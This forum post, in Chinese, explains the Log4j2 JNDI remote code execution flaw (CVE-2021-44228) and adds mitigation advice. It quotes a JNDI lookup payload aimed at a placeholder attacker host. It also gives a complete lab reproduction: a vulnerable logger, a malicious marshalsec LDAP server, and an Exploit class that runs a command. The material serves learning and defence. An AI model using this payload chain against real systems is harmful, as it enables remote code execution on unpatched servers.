找回密码
 立即注册
查看: 407|回复: 0

[其它] log4j2远程代码执行漏洞原理与漏洞复现

[复制链接]

279

主题

0

回帖

964

积分

超级版主

积分
964
发表于 2024-6-6 11:50:30 | 显示全部楼层 |阅读模式
本帖最后由 Shaw0xyz 于 2024-6-9 14:01 编辑

1. 引言

Log4j2 是 Apache 软件基金会提供的一个 java 日志记录库,被广泛应用于各种 Java 应用中。然而,2021 年底爆出的 Log4j2 远程代码执行漏洞(CVE-2021-44228)引起了广泛关注。该漏洞允许攻击者通过特制的日志消息执行任意代码,严重威胁系统安全。本文将详细解析该漏洞的原理,并提供漏洞复现的具体步骤。

1.1 什么是 Log4j2

Log4j2 是 Apache Log4j 项目的第二代版本,提供了一种灵活且高效的日志记录机制。它允许开发者在应用中记录调试信息、错误信息及其他运行时数据,以便后续分析和调试。

1.2 漏洞简介

Log4j2 远程代码执行漏洞是由于其日志记录功能中的 JNDI(Java Naming and Directory Interface)注入所引起的。攻击者可以通过在日志消息中插入特制的 JNDI 查询,诱使 Log4j2 加载并执行远程恶意代码。

2. 漏洞原理

该漏洞的核心在于 Log4j2 的日志处理机制。当 Log4j2 处理包含特定格式字符串的日志消息时,会自动解析并执行其中的 JNDI 查询。这为攻击者提供了利用途径。

2.1 JNDI 注入

JNDI 是 Java 平台的一部分,允许 Java 应用通过名称服务查找和访问资源。JNDI 支持多种服务提供者,包括 LDAP(轻量目录访问协议)。在 Log4j2 中,当日志消息包含类似 `${jndi:ldap://attacker.com/a}` 的字符串时,Log4j2 会进行解析并尝试通过 JNDI 访问指定的资源。

2.2 远程代码执行

攻击者可以在恶意服务器上放置一个 Java 类文件,当 Log4j2 通过 JNDI 加载该类文件时,恶意代码便会在目标系统上执行。这就实现了远程代码执行。

3. 漏洞复现

为了更好地理解该漏洞,下面提供一个具体的漏洞复现步骤。请注意,以下演示仅用于学习和研究目的,不得用于任何非法活动。

3.1 环境搭建

首先,搭建一个简单的 Java 应用,使用 Log4j2 进行日志记录。

(1) 创建一个新的 Java 项目,并添加 Log4j2 依赖:

  1. <dependency>
  2.   <groupId>org.apache.logging.log4j</groupId>
  3.   <artifactId>log4j-core</artifactId>
  4.   <version>2.14.1</version>
  5. </dependency>
复制代码


(2) 编写一个简单的日志记录程序:

  1. import org.apache.logging.log4j.LogManager;
  2. import org.apache.logging.log4j.Logger;

  3. public class Log4j2VulnDemo {
  4.     private static final Logger logger = LogManager.getLogger(Log4j2VulnDemo.class);

  5.     public static void main(String[] args) {
  6.         String input = "${jndi:ldap://localhost:1389/a}";
  7.         logger.error("User input: " + input);
  8.     }
  9. }
复制代码


3.2 设置恶意 LDAP 服务器

使用现有工具如 `marshalsec` 来设置一个恶意 LDAP 服务器,该服务器会返回一个包含恶意代码的 Java 类。

(1) 克隆 marshalsec 项目并编译:

  1. git clone https://github.com/mbechler/marshalsec.git
  2. cd marshalsec
  3. mvn clean package -DskipTests
复制代码


(2) 启动恶意 LDAP 服务器:

  1. java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8080/#Exploit"
复制代码


(3) 编写恶意 Java 类(Exploit.java)并将其编译后放置在 HTTP 服务器上:

  1. public class Exploit {
  2.     static {
  3.         try {
  4.             Runtime.getRuntime().exec("calc");
  5.         } catch (Exception e) {
  6.             e.printStackTrace();
  7.         }
  8.     }
  9. }

  10. javac Exploit.java
  11. Python3 -m http.server 8080
复制代码


3.3 触发漏洞

运行 Java 应用程序,观察是否弹出计算器(calc),如果弹出,则说明漏洞复现成功。

4. 漏洞修复

为了解决该漏洞,建议采取以下措施:

(1) 升级 Log4j2 到最新版本,确保包含官方修复补丁。
(2) 禁用 Log4j2 的 JNDI 功能,通过配置文件或系统属性实现:
   - 在 `log4j2.component.properties` 文件中添加:
     log4j2.formatMsgNoLookups=true
(3) 使用 Web 应用防火墙(WAF)等安全措施过滤恶意请求。

5. 结论

通过本文的介绍,我们详细了解了 Log4j2 远程代码执行漏洞的原理及其复现方法。该漏洞的发现揭示了软件安全中的一个重要问题,即对外部输入的严格校验和控制至关重要。希望本文能帮助读者提高安全意识,并掌握相关的安全防护技巧。



/ 荔枝学姐de课后专栏 /

Hi!这里是荔枝学姐~

欢迎来到我的课后专栏

自然语言学渣 NLP摆烂姐

热衷于技术写作 IT边角料

AIGC & Coding & linux ...

~互撩~ TG: @Shaw_0xyz
荔枝学姐爱吃荔枝!
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

联系站长|Archiver|手机版|小黑屋|主机论坛

GMT+8, 2025-4-4 13:52 , Processed in 0.062783 second(s), 24 queries .

Powered by 主机论坛 HostSsss.Com

HostSsss.Com

快速回复 返回顶部 返回列表